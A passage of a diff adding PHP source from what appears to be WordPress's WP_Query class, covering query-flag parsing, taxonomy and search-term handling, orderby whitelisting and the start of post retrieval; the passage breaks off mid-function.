+		if ( '' !== $qv['menu_order'] ) $qv['menu_order'] = absint($qv['menu_order']);
+
+		// Fairly insane upper bound for search string lengths.
+		if ( ! is_scalar( $qv['s'] ) || ( ! empty( $qv['s'] ) && strlen( $qv['s'] ) > 1600 ) ) {
+			$qv['s'] = '';
+		}
+
+		// Compat. Map subpost to attachment.
+		if ( '' != $qv['subpost'] )
+			$qv['attachment'] = $qv['subpost'];
+		if ( '' != $qv['subpost_id'] )
+			$qv['attachment_id'] = $qv['subpost_id'];
+
+		$qv['attachment_id'] = absint($qv['attachment_id']);
+
+		if ( ('' != $qv['attachment']) || !empty($qv['attachment_id']) ) {
+			$this->is_single = true;
+			$this->is_attachment = true;
+		} elseif ( '' != $qv['name'] ) {
+			$this->is_single = true;
+		} elseif ( $qv['p'] ) {
+			$this->is_single = true;
+		} elseif ( ('' !== $qv['hour']) && ('' !== $qv['minute']) &&('' !== $qv['second']) && ('' != $qv['year']) && ('' != $qv['monthnum']) && ('' != $qv['day']) ) {
+			// If year, month, day, hour, minute, and second are set, a single
+			// post is being queried.
+			$this->is_single = true;
+		} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || !empty($qv['page_id']) ) {
+			$this->is_page = true;
+			$this->is_single = false;
+		} else {
+			// Look for archive queries. Dates, categories, authors, search, post type archives.
+
+			if ( isset( $this->query['s'] ) ) {
+				$this->is_search = true;
+			}
+
+			if ( '' !== $qv['second'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['minute'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['hour'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( $qv['day'] ) {
+				if ( ! $this->is_date ) {
+					$date = sprintf( '%04d-%02d-%02d', $qv['year'], $qv['monthnum'], $qv['day'] );
+					if ( $qv['monthnum'] && $qv['year'] && ! wp_checkdate( $qv['monthnum'], $qv['day'], $qv['year'], $date ) ) {
+						$qv['error'] = '404';
+					} else {
+						$this->is_day = true;
+						$this->is_date = true;
+					}
+				}
+			}
+
+			if ( $qv['monthnum'] ) {
+				if ( ! $this->is_date ) {
+					if ( 12 < $qv['monthnum'] ) {
+						$qv['error'] = '404';
+					} else {
+						$this->is_month = true;
+						$this->is_date = true;
+					}
+				}
+			}
+
+			if ( $qv['year'] ) {
+				if ( ! $this->is_date ) {
+					$this->is_year = true;
+					$this->is_date = true;
+				}
+			}
+
+			if ( $qv['m'] ) {
+				$this->is_date = true;
+				if ( strlen($qv['m']) > 9 ) {
+					$this->is_time = true;
+				} else if ( strlen($qv['m']) > 7 ) {
+					$this->is_day = true;
+				} else if ( strlen($qv['m']) > 5 ) {
+					$this->is_month = true;
+				} else {
+					$this->is_year = true;
+				}
+			}
+
+			if ( '' != $qv['w'] ) {
+				$this->is_date = true;
+			}
+
+			$this->query_vars_hash = false;
+			$this->parse_tax_query( $qv );
+
+			foreach ( $this->tax_query->queries as $tax_query ) {
+				if ( ! is_array( $tax_query ) ) {
+					continue;
+				}
+
+				if ( isset( $tax_query['operator'] ) && 'NOT IN' != $tax_query['operator'] ) {
+					switch ( $tax_query['taxonomy'] ) {
+						case 'category':
+							$this->is_category = true;
+							break;
+						case 'post_tag':
+							$this->is_tag = true;
+							break;
+						default:
+							$this->is_tax = true;
+					}
+				}
+			}
+			unset( $tax_query );
+
+			if ( empty($qv['author']) || ($qv['author'] == '0') ) {
+				$this->is_author = false;
+			} else {
+				$this->is_author = true;
+			}
+
+			if ( '' != $qv['author_name'] )
+				$this->is_author = true;
+
+			if ( !empty( $qv['post_type'] ) && ! is_array( $qv['post_type'] ) ) {
+				$post_type_obj = get_post_type_object( $qv['post_type'] );
+				if ( ! empty( $post_type_obj->has_archive ) )
+					$this->is_post_type_archive = true;
+			}
+
+			if ( $this->is_post_type_archive || $this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax )
+				$this->is_archive = true;
+		}
+
+		if ( '' != $qv['feed'] )
+			$this->is_feed = true;
+
+		if ( '' != $qv['tb'] )
+			$this->is_trackback = true;
+
+		if ( '' != $qv['paged'] && ( intval($qv['paged']) > 1 ) )
+			$this->is_paged = true;
+
+		if ( '' != $qv['comments_popup'] )
+			$this->is_comments_popup = true;
+
+		// if we're previewing inside the write screen
+		if ( '' != $qv['preview'] )
+			$this->is_preview = true;
+
+		if ( is_admin() )
+			$this->is_admin = true;
+
+		if ( false !== strpos($qv['feed'], 'comments-') ) {
+			$qv['feed'] = str_replace('comments-', '', $qv['feed']);
+			$qv['withcomments'] = 1;
+		}
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+
+		if ( $this->is_feed && ( !empty($qv['withcomments']) || ( empty($qv['withoutcomments']) && $this->is_singular ) ) )
+			$this->is_comment_feed = true;
+
+		if ( !( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_comments_popup || $this->is_robots ) )
+			$this->is_home = true;
+
+		// Correct is_* for page_on_front and page_for_posts
+		if ( $this->is_home && 'page' == get_option('show_on_front') && get_option('page_on_front') ) {
+			$_query = wp_parse_args($this->query);
+			// pagename can be set and empty depending on matched rewrite rules. Ignore an empty pagename.
+			if ( isset($_query['pagename']) && '' == $_query['pagename'] )
+				unset($_query['pagename']);
+			if ( empty($_query) || !array_diff( array_keys($_query), array('preview', 'page', 'paged', 'cpage') ) ) {
+				$this->is_page = true;
+				$this->is_home = false;
+				$qv['page_id'] = get_option('page_on_front');
+				// Correct <!--nextpage--> for page_on_front
+				if ( !empty($qv['paged']) ) {
+					$qv['page'] = $qv['paged'];
+					unset($qv['paged']);
+				}
+			}
+		}
+
+		if ( '' != $qv['pagename'] ) {
+			$this->queried_object = get_page_by_path($qv['pagename']);
+			if ( !empty($this->queried_object) )
+				$this->queried_object_id = (int) $this->queried_object->ID;
+			else
+				unset($this->queried_object);
+
+			if  ( 'page' == get_option('show_on_front') && isset($this->queried_object_id) && $this->queried_object_id == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( $qv['page_id'] ) {
+			if  ( 'page' == get_option('show_on_front') && $qv['page_id'] == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( !empty($qv['post_type']) ) {
+			if ( is_array($qv['post_type']) )
+				$qv['post_type'] = array_map('sanitize_key', $qv['post_type']);
+			else
+				$qv['post_type'] = sanitize_key($qv['post_type']);
+		}
+
+		if ( ! empty( $qv['post_status'] ) ) {
+			if ( is_array( $qv['post_status'] ) )
+				$qv['post_status'] = array_map('sanitize_key', $qv['post_status']);
+			else
+				$qv['post_status'] = preg_replace('|[^a-z0-9_,-]|', '', $qv['post_status']);
+		}
+
+		if ( $this->is_posts_page && ( ! isset($qv['withcomments']) || ! $qv['withcomments'] ) )
+			$this->is_comment_feed = false;
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+		// Done correcting is_* for page_on_front and page_for_posts
+
+		if ( '404' == $qv['error'] )
+			$this->set_404();
+
+		$this->query_vars_hash = md5( serialize( $this->query_vars ) );
+		$this->query_vars_changed = false;
+
+		/**
+		 * Fires after the main query vars have been parsed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param WP_Query &$this The WP_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_query', array( &$this ) );
+	}
+
+	/**
+	 * Parses various taxonomy related query vars.
+	 *
+	 * For BC, this method is not marked as protected. See [28987].
+	 *
+	 * @access protected
+	 * @since 3.1.0
+	 *
+	 * @param array &$q The query variables
+	 */
+	function parse_tax_query( &$q ) {
+		if ( ! empty( $q['tax_query'] ) && is_array( $q['tax_query'] ) ) {
+			$tax_query = $q['tax_query'];
+		} else {
+			$tax_query = array();
+		}
+
+		if ( !empty($q['taxonomy']) && !empty($q['term']) ) {
+			$tax_query[] = array(
+				'taxonomy' => $q['taxonomy'],
+				'terms' => array( $q['term'] ),
+				'field' => 'slug',
+			);
+		}
+
+		foreach ( get_taxonomies( array() , 'objects' ) as $taxonomy => $t ) {
+			if ( 'post_tag' == $taxonomy )
+				continue;	// Handled further down in the $q['tag'] block
+
+			if ( $t->query_var && !empty( $q[$t->query_var] ) ) {
+				$tax_query_defaults = array(
+					'taxonomy' => $taxonomy,
+					'field' => 'slug',
+				);
+
+ 				if ( isset( $t->rewrite['hierarchical'] ) && $t->rewrite['hierarchical'] ) {
+					$q[$t->query_var] = wp_basename( $q[$t->query_var] );
+				}
+
+				$term = $q[$t->query_var];
+
+				if ( strpos($term, '+') !== false ) {
+					$terms = preg_split( '/[+]+/', $term );
+					foreach ( $terms as $term ) {
+						$tax_query[] = array_merge( $tax_query_defaults, array(
+							'terms' => array( $term )
+						) );
+					}
+				} else {
+					$tax_query[] = array_merge( $tax_query_defaults, array(
+						'terms' => preg_split( '/[,]+/', $term )
+					) );
+				}
+			}
+		}
+
+		// Category stuff
+		if ( ! empty( $q['cat'] ) && ! $this->is_singular ) {
+			$cat_in = $cat_not_in = array();
+
+			$cat_array = preg_split( '/[,\s]+/', urldecode( $q['cat'] ) );
+			$cat_array = array_map( 'intval', $cat_array );
+			$q['cat'] = implode( ',', $cat_array );
+
+			foreach ( $cat_array as $cat ) {
+				if ( $cat > 0 )
+					$cat_in[] = $cat;
+				elseif ( $cat < 0 )
+					$cat_not_in[] = abs( $cat );
+			}
+
+			if ( ! empty( $cat_in ) ) {
+				$tax_query[] = array(
+					'taxonomy' => 'category',
+					'terms' => $cat_in,
+					'field' => 'term_id',
+					'include_children' => true
+				);
+			}
+
+			if ( ! empty( $cat_not_in ) ) {
+				$tax_query[] = array(
+					'taxonomy' => 'category',
+					'terms' => $cat_not_in,
+					'field' => 'term_id',
+					'operator' => 'NOT IN',
+					'include_children' => true
+				);
+			}
+			unset( $cat_array, $cat_in, $cat_not_in );
+		}
+
+		if ( ! empty( $q['category__and'] ) && 1 === count( (array) $q['category__and'] ) ) {
+			$q['category__and'] = (array) $q['category__and'];
+			if ( ! isset( $q['category__in'] ) )
+				$q['category__in'] = array();
+			$q['category__in'][] = absint( reset( $q['category__and'] ) );
+			unset( $q['category__and'] );
+		}
+
+		if ( ! empty( $q['category__in'] ) ) {
+			$q['category__in'] = array_map( 'absint', array_unique( (array) $q['category__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__in'],
+				'field' => 'term_id',
+				'include_children' => false
+			);
+		}
+
+		if ( ! empty($q['category__not_in']) ) {
+			$q['category__not_in'] = array_map( 'absint', array_unique( (array) $q['category__not_in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__not_in'],
+				'operator' => 'NOT IN',
+				'include_children' => false
+			);
+		}
+
+		if ( ! empty($q['category__and']) ) {
+			$q['category__and'] = array_map( 'absint', array_unique( (array) $q['category__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__and'],
+				'field' => 'term_id',
+				'operator' => 'AND',
+				'include_children' => false
+			);
+		}
+
+		// Tag stuff
+		if ( '' != $q['tag'] && !$this->is_singular && $this->query_vars_changed ) {
+			if ( strpos($q['tag'], ',') !== false ) {
+				$tags = preg_split('/[,\r\n\t ]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__in'][] = $tag;
+				}
+			} else if ( preg_match('/[+\r\n\t ]+/', $q['tag']) || !empty($q['cat']) ) {
+				$tags = preg_split('/[+\r\n\t ]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__and'][] = $tag;
+				}
+			} else {
+				$q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db');
+				$q['tag_slug__in'][] = $q['tag'];
+			}
+		}
+
+		if ( !empty($q['tag_id']) ) {
+			$q['tag_id'] = absint( $q['tag_id'] );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_id']
+			);
+		}
+
+		if ( !empty($q['tag__in']) ) {
+			$q['tag__in'] = array_map('absint', array_unique( (array) $q['tag__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__in']
+			);
+		}
+
+		if ( !empty($q['tag__not_in']) ) {
+			$q['tag__not_in'] = array_map('absint', array_unique( (array) $q['tag__not_in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__not_in'],
+				'operator' => 'NOT IN'
+			);
+		}
+
+		if ( !empty($q['tag__and']) ) {
+			$q['tag__and'] = array_map('absint', array_unique( (array) $q['tag__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__and'],
+				'operator' => 'AND'
+			);
+		}
+
+		if ( !empty($q['tag_slug__in']) ) {
+			$q['tag_slug__in'] = array_map('sanitize_title_for_query', array_unique( (array) $q['tag_slug__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_slug__in'],
+				'field' => 'slug'
+			);
+		}
+
+		if ( !empty($q['tag_slug__and']) ) {
+			$q['tag_slug__and'] = array_map('sanitize_title_for_query', array_unique( (array) $q['tag_slug__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_slug__and'],
+				'field' => 'slug',
+				'operator' => 'AND'
+			);
+		}
+
+		$this->tax_query = new WP_Tax_Query( $tax_query );
+
+		/**
+		 * Fires after taxonomy-related query vars have been parsed.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param WP_Query $this The WP_Query instance.
+		 */
+		do_action( 'parse_tax_query', $this );
+	}
+
+	/**
+	 * Generate SQL for the WHERE clause based on passed search terms.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global wpdb $wpdb
+	 * @param array $q Query variables.
+	 * @return string WHERE clause.
+	 */
+	protected function parse_search( &$q ) {
+		global $wpdb;
+
+		$search = '';
+
+		// added slashes screw with quote grouping when done early, so done later
+		$q['s'] = stripslashes( $q['s'] );
+		if ( empty( $_GET['s'] ) && $this->is_main_query() )
+			$q['s'] = urldecode( $q['s'] );
+		// there are no line breaks in <input /> fields
+		$q['s'] = str_replace( array( "\r", "\n" ), '', $q['s'] );
+		$q['search_terms_count'] = 1;
+		if ( ! empty( $q['sentence'] ) ) {
+			$q['search_terms'] = array( $q['s'] );
+		} else {
+			if ( preg_match_all( '/".*?("|$)|((?<=[\t ",+])|^)[^\t ",+]+/', $q['s'], $matches ) ) {
+				$q['search_terms_count'] = count( $matches[0] );
+				$q['search_terms'] = $this->parse_search_terms( $matches[0] );
+				// if the search string has only short terms or stopwords, or is 10+ terms long, match it as sentence
+				if ( empty( $q['search_terms'] ) || count( $q['search_terms'] ) > 9 )
+					$q['search_terms'] = array( $q['s'] );
+			} else {
+				$q['search_terms'] = array( $q['s'] );
+			}
+		}
+
+		$n = ! empty( $q['exact'] ) ? '' : '%';
+		$searchand = '';
+		$q['search_orderby_title'] = array();
+		foreach ( $q['search_terms'] as $term ) {
+			if ( $n ) {
+				$like = '%' . $wpdb->esc_like( $term ) . '%';
+				$q['search_orderby_title'][] = $wpdb->prepare( "$wpdb->posts.post_title LIKE %s", $like );
+			}
+
+			$like = $n . $wpdb->esc_like( $term ) . $n;
+			$search .= $wpdb->prepare( "{$searchand}(($wpdb->posts.post_title LIKE %s) OR ($wpdb->posts.post_content LIKE %s))", $like, $like );
+			$searchand = ' AND ';
+		}
+
+		if ( ! empty( $search ) ) {
+			$search = " AND ({$search}) ";
+			if ( ! is_user_logged_in() )
+				$search .= " AND ($wpdb->posts.post_password = '') ";
+		}
+
+		return $search;
+	}
+
+	/**
+	 * Check if the terms are suitable for searching.
+	 *
+	 * Uses an array of stopwords (terms) that are excluded from the separate
+	 * term matching when searching for posts. The list of English stopwords is
+	 * the approximate search engines list, and is translatable.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $terms Terms to check.
+	 * @return array Terms that are not stopwords.
+	 */
+	protected function parse_search_terms( $terms ) {
+		$strtolower = function_exists( 'mb_strtolower' ) ? 'mb_strtolower' : 'strtolower';
+		$checked = array();
+
+		$stopwords = $this->get_search_stopwords();
+
+		foreach ( $terms as $term ) {
+			// keep before/after spaces when term is for exact match
+			if ( preg_match( '/^".+"$/', $term ) )
+				$term = trim( $term, "\"'" );
+			else
+				$term = trim( $term, "\"' " );
+
+			// Avoid single A-Z.
+			if ( ! $term || ( 1 === strlen( $term ) && preg_match( '/^[a-z]$/i', $term ) ) )
+				continue;
+
+			if ( in_array( call_user_func( $strtolower, $term ), $stopwords, true ) )
+				continue;
+
+			$checked[] = $term;
+		}
+
+		return $checked;
+	}
+
+	/**
+	 * Retrieve stopwords used when parsing search terms.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @return array Stopwords.
+	 */
+	protected function get_search_stopwords() {
+		if ( isset( $this->stopwords ) )
+			return $this->stopwords;
+
+		/* translators: This is a comma-separated list of very common words that should be excluded from a search,
+		 * like a, an, and the. These are usually called "stopwords". You should not simply translate these individual
+		 * words into your language. Instead, look for and provide commonly accepted stopwords in your language.
+		 */
+		$words = explode( ',', _x( 'about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www',
+			'Comma-separated list of search stopwords in your language' ) );
+
+		$stopwords = array();
+		foreach( $words as $word ) {
+			$word = trim( $word, "\r\n\t " );
+			if ( $word )
+				$stopwords[] = $word;
+		}
+
+		/**
+		 * Filter stopwords used when parsing search terms.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $stopwords Stopwords.
+		 */
+		$this->stopwords = apply_filters( 'wp_search_stopwords', $stopwords );
+		return $this->stopwords;
+	}
+
+	/**
+	 * Generate SQL for the ORDER BY condition based on passed search terms.
+	 *
+	 * @global wpdb $wpdb
+	 * @param array $q Query variables.
+	 * @return string ORDER BY clause.
+	 */
+	protected function parse_search_order( &$q ) {
+		global $wpdb;
+
+		if ( $q['search_terms_count'] > 1 ) {
+			$num_terms = count( $q['search_orderby_title'] );
+			$like = '%' . $wpdb->esc_like( $q['s'] ) . '%';
+
+			$search_orderby = '(CASE ';
+			// sentence match in 'post_title'
+			$search_orderby .= $wpdb->prepare( "WHEN $wpdb->posts.post_title LIKE %s THEN 1 ", $like );
+
+			// sanity limit, sort as sentence when more than 6 terms
+			// (few searches are longer than 6 terms and most titles are not)
+			if ( $num_terms < 7 ) {
+				// all words in title
+				$search_orderby .= 'WHEN ' . implode( ' AND ', $q['search_orderby_title'] ) . ' THEN 2 ';
+				// any word in title, not needed when $num_terms == 1
+				if ( $num_terms > 1 )
+					$search_orderby .= 'WHEN ' . implode( ' OR ', $q['search_orderby_title'] ) . ' THEN 3 ';
+			}
+
+			// sentence match in 'post_content'
+			$search_orderby .= $wpdb->prepare( "WHEN $wpdb->posts.post_content LIKE %s THEN 4 ", $like );
+			$search_orderby .= 'ELSE 5 END)';
+		} else {
+			// single word or sentence search
+			$search_orderby = reset( $q['search_orderby_title'] ) . ' DESC';
+		}
+
+		return $search_orderby;
+	}
+
+	/**
+	 * If the passed orderby value is allowed, convert the alias to a
+	 * properly-prefixed orderby value.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string|bool Table-prefixed value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		// Used to filter values.
+		$allowed_keys = array(
+			'post_name', 'post_author', 'post_date', 'post_title', 'post_modified',
+			'post_parent', 'post_type', 'name', 'author', 'date', 'title', 'modified',
+			'parent', 'type', 'ID', 'menu_order', 'comment_count', 'rand',
+		);
+
+		$primary_meta_key = '';
+		$primary_meta_query = false;
+		if ( ! empty( $this->meta_query->queries ) ) {
+			$primary_meta_query = reset( $this->meta_query->queries );
+
+			if ( ! empty( $primary_meta_query['key'] ) ) {
+				$primary_meta_key = $primary_meta_query['key'];
+				$allowed_keys[] = $primary_meta_key;
+			}
+
+			$allowed_keys[] = 'meta_value';
+			$allowed_keys[] = 'meta_value_num';
+		}
+
+		if ( ! in_array( $orderby, $allowed_keys ) ) {
+			return false;
+		}
+
+		switch ( $orderby ) {
+			case 'post_name':
+			case 'post_author':
+			case 'post_date':
+			case 'post_title':
+			case 'post_modified':
+			case 'post_parent':
+			case 'post_type':
+			case 'ID':
+			case 'menu_order':
+			case 'comment_count':
+				$orderby = "$wpdb->posts.{$orderby}";
+				break;
+			case 'rand':
+				$orderby = 'RAND()';
+				break;
+			case $primary_meta_key:
+			case 'meta_value':
+				if ( ! empty( $primary_meta_query['type'] ) ) {
+					$sql_type = $this->meta_query->get_cast_for_type( $primary_meta_query['type'] );
+					$orderby = "CAST($wpdb->postmeta.meta_value AS {$sql_type})";
+				} else {
+					$orderby = "$wpdb->postmeta.meta_value";
+				}
+				break;
+			case 'meta_value_num':
+				$orderby = "$wpdb->postmeta.meta_value+0";
+				break;
+			default:
+				$orderby = "$wpdb->posts.post_" . $orderby;
+				break;
+		}
+
+		return $orderby;
+	}
+
+	/**
+	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'DESC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+
+	/**
+	 * Sets the 404 property and saves whether query is feed.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 */
+	public function set_404() {
+		$is_feed = $this->is_feed;
+
+		$this->init_query_flags();
+		$this->is_404 = true;
+
+		$this->is_feed = $is_feed;
+	}
+
+	/**
+	 * Retrieve query variable.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed  $default   Value to return if the query variable is not set. Default ''.
+	 * @return mixed
+	 */
+	public function get( $query_var, $default = '' ) {
+		if ( isset( $this->query_vars[ $query_var ] ) ) {
+			return $this->query_vars[ $query_var ];
+		}
+
+		return $default;
+	}
+
+	/**
+	 * Set query variable.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed $value Query variable value.
+	 */
+	public function set($query_var, $value) {
+		$this->query_vars[$query_var] = $value;
+	}
+
+	/**
+	 * Retrieve the posts based on query variables.
+	 *
+	 * There are a few filters and actions that can be used to modify the post
+	 * database query.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array List of posts.
+	 */
+	public function get_posts() {
+		global $wpdb;
+
+		$this->parse_query();
+
+		/**
+		 * Fires after the query variable object is created, but before the actual query is run.
+		 *
+		 * Note: If using conditional tags, use the method versions within the passed instance
+		 * (e.g. $this->is_main_query() instead of is_main_query()). This is because the functions
+		 * like is_main_query() test against the global $wp_query instance, not the passed one.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_Query &$this The WP_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'pre_get_posts', array( &$this ) );
+
+		// Shorthand.
+		$q = &$this->query_vars;
+
+		// Fill again in case pre_get_posts unset some vars.
+		$q = $this->fill_query_vars($q);
+
+		// Parse meta query
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $q );
+
+		// Set a flag if a pre_get_posts hook changed the query vars.
+		$hash = md5( serialize( $this->query_vars ) );
+		if ( $hash != $this->query_vars_hash ) {
+			$this->query_vars_changed = true;
+			$this->query_vars_hash = $hash;
+		}
+		unset($hash);
+
+		// First let's clear some variables
+		$distinct = '';
+		$whichauthor = '';
+		$whichmimetype = '';
+		$where = '';
+		$limits = '';
+		$join = '';
+		$search = '';
+		$groupby = '';
+		$post_status_join = false;
+		$page = 1;
+
+		if ( isset( $q['caller_get_posts'] ) ) {
+			_deprecated_argument( 'WP_Query', '3.1', __( '"caller_get_posts" is deprecated. Use "ignore_sticky_posts" instead.' ) );
+			if ( !isset( $q['ignore_sticky_posts'] ) )
+				$q['ignore_sticky_posts'] = $q['caller_get_posts'];
+		}
+
+		if ( !isset( $q['ignore_sticky_posts'] ) )
+			$q['ignore_sticky_posts'] = false;
+
+		if ( !isset($q['suppress_filters']) )
+			$q['suppress_filters'] = false;
+
+		if ( !isset($q['cache_results']) ) {
+			if ( wp_using_ext_object_cache() )
+				$q['cache_results'] = false;
+			else
+				$q['cache_results'] = true;
+		}
+
+		if ( !isset($q['update_post_term_cache']) )
+			$q['update_post_term_cache'] = true;
+
+		if ( !isset($q['update_post_meta_cache']) )
+			$q['update_post_meta_cache'] = true;
+
+		if ( !isset($q['post_type']) ) {
+			if ( $this->is_search )
+				$q['post_type'] = 'any';
+			else
+				$q['post_type'] = '';
+		}
+		$post_type = $q['post_type'];
+		if ( empty( $q['posts_per_page'] ) ) {
+			$q['posts_per_page'] = get_option( 'posts_per_page' );
+		}
+		if ( isset($q['showposts']) && $q['showposts'] ) {
+			$q['showposts'] = (int) $q['showposts'];
+			$q['posts_per_page'] = $q['showposts'];
+		}
+		if ( (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0) && ($this->is_archive || $this->is_search) )
+			$q['posts_per_page'] = $q['posts_per_archive_page'];
+		if ( !isset($q['nopaging']) ) {
+			if ( $q['posts_per_page'] == -1 ) {
+				$q['nopaging'] = true;
+			} else {
+				$q['nopaging'] = false;
+			}
+		}
+
+		if ( $this->is_feed ) {
+			// This overrides posts_per_page.
+			if ( ! empty( $q['posts_per_rss'] ) ) {
+				$q['posts_per_page'] = $q['posts_per_rss'];
+			} else {
+				$q['posts_per_page'] = get_option( 'posts_per_rss' );
+			}
+			$q['nopaging'] = false;
+		}
+		$q['posts_per_page'] = (int) $q['posts_per_page'];
+		if ( $q['posts_per_page'] < -1 )
+			$q['posts_per_page'] = abs($q['posts_per_page']);
+		else if ( $q['posts_per_page'] == 0 )
+			$q['posts_per_page'] = 1;
+
+		if ( !isset($q['comments_per_page']) || $q['comments_per_page'] == 0 )
+			$q['comments_per_page'] = get_option('comments_per_page');
+
+		if ( $this->is_home && (empty($this->query) || $q['preview'] == 'true') && ( 'page' == get_option('show_on_front') ) && get_option('page_on_front') ) {
+			$this->is_page = true;
+			$this->is_home = false;
+			$q['page_id'] = get_option('page_on_front');
+		}
+
+		if ( isset($q['page']) ) {
+			$q['page'] = trim($q['page'], '/');
+			$q['page'] = absint($q['page']);
+		}
+
+		// If true, forcibly turns off SQL_CALC_FOUND_ROWS even when limits are present.
+		if ( isset($q['no_found_rows']) )
+			$q['no_found_rows'] = (bool) $q['no_found_rows'];
+		else
+			$q['no_found_rows'] = false;
+
+		switch ( $q['fields'] ) {
+			case 'ids':
+				$fields = "$wpdb->posts.ID";
+				break;
+			case 'id=>parent':
+				$fields = "$wpdb->posts.ID, $wpdb->posts.post_parent";
+				break;
+			default:
+				$fields = "$wpdb->posts.*";
+		}
+
+		if ( '' !== $q['menu_order'] )
+			$where .= " AND $wpdb->posts.menu_order = " . $q['menu_order'];
+
+		// The "m" parameter is meant for months but accepts datetimes of varying specificity
+		if ( $q['m'] ) {
+			$where .= " AND YEAR($wpdb->posts.post_date)=" . substr($q['m'], 0, 4);
+			if ( strlen($q['m']) > 5 )
+				$where .= " AND MONTH($wpdb->posts.post_date)=" . substr($q['m'], 4, 2);
+			if ( strlen($q['m']) > 7 )
+				$where .= " AND DAYOFMONTH($wpdb->posts.post_date)=" . substr($q['m'], 6, 2);
+			if ( strlen($q['m']) > 9 )
+				$where .= " AND HOUR($wpdb->posts.post_date)=" . substr($q['m'], 8, 2);
+			if ( strlen($q['m']) > 11 )
+				$where .= " AND MINUTE($wpdb->posts.post_date)=" . substr($q['m'], 10, 2);
+			if ( strlen($q['m']) > 13 )
+				$where .= " AND SECOND($wpdb->posts.post_date)=" . substr($q['m'], 12, 2);
+		}
+
+		// Handle the other individual date parameters
+		$date_parameters = array();
+
+		if ( '' !== $q['hour'] )
+			$date_parameters['hour'] = $q['hour'];
+
+		if ( '' !== $q['minute'] )
+			$date_parameters['minute'] = $q['minute'];
+
+		if ( '' !== $q['second'] )
+			$date_parameters['second'] = $q['second'];
+
+		if ( $q['year'] )
+			$date_parameters['year'] = $q['year'];
+
+		if ( $q['monthnum'] )
+			$date_parameters['monthnum'] = $q['monthnum'];
+
+		if ( $q['w'] )
+			$date_parameters['week'] = $q['w'];
+
+		if ( $q['day'] )
+			$date_parameters['day'] = $q['day'];
+
+		if ( $date_parameters ) {
+			$date_query = new WP_Date_Query( array( $date_parameters ) );
+			$where .= $date_query->get_sql();
+		}
+		unset( $date_parameters, $date_query );
+
+		// Handle complex date queries
+		if ( ! empty( $q['date_query'] ) ) {
+			$this->date_query = new WP_Date_Query( $q['date_query'] );
+			$where .= $this->date_query->get_sql();
+		}
+
+
+		// If we've got a post_type AND it's not "any" post_type.
+		if ( !empty($q['post_type']) && 'any' != $q['post_type'] ) {
+			foreach ( (array)$q['post_type'] as $_post_type ) {
+				$ptype_obj = get_post_type_object($_post_type);
+				if ( !$ptype_obj || !$ptype_obj->query_var || empty($q[ $ptype_obj->query_var ]) )
+					continue;
+
+				if ( ! $ptype_obj->hierarchical ) {
+					// Non-hierarchical post types can directly use 'name'.
